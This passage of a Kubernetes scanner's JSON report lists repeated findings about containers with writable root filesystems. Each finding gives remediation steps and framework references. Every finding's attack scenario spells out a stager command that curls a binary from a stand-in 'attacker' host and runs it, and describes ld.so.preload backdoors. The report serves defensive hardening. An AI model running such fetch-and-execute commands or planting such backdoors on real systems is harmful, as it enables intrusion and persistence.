      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/unmatched -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:foothold-fixtures:foothold-priv-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/foothold-fixtures/foothold-priv-app`",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-priv-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-priv-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-priv-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/foothold-priv-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:foothold-fixtures:foothold-quiet-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/foothold-fixtures/foothold-quiet-app`",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-quiet-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-quiet-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-quiet-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/foothold-quiet-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:gw-workloads:gw-web:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/gw-workloads/gw-web`",
    "description": "Container `app` in `Deployment/gw-workloads/gw-web` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "gw-web",
      "namespace": "gw-workloads",
      "api_group": "apps"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/gw-workloads/gw-web`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/gw-web -n gw-workloads -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:hookbackend-fixtures:hookbackend-injector:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/hookbackend-fixtures/hookbackend-injector`",
    "description": "Container `app` in `Deployment/hookbackend-fixtures/hookbackend-injector` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "hookbackend-injector",
      "namespace": "hookbackend-fixtures",
      "api_group": "apps"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/hookbackend-injector -n hookbackend-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:imgswap-fixtures:imgswap-reader-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/imgswap-fixtures/imgswap-reader-app`",
    "description": "Container `app` in `Deployment/imgswap-fixtures/imgswap-reader-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "imgswap-reader-app",
      "namespace": "imgswap-fixtures",
      "api_group": "apps"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/imgswap-fixtures/imgswap-reader-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/imgswap-reader-app -n imgswap-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:ingress-only:ingress-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/ingress-only/ingress-app`",
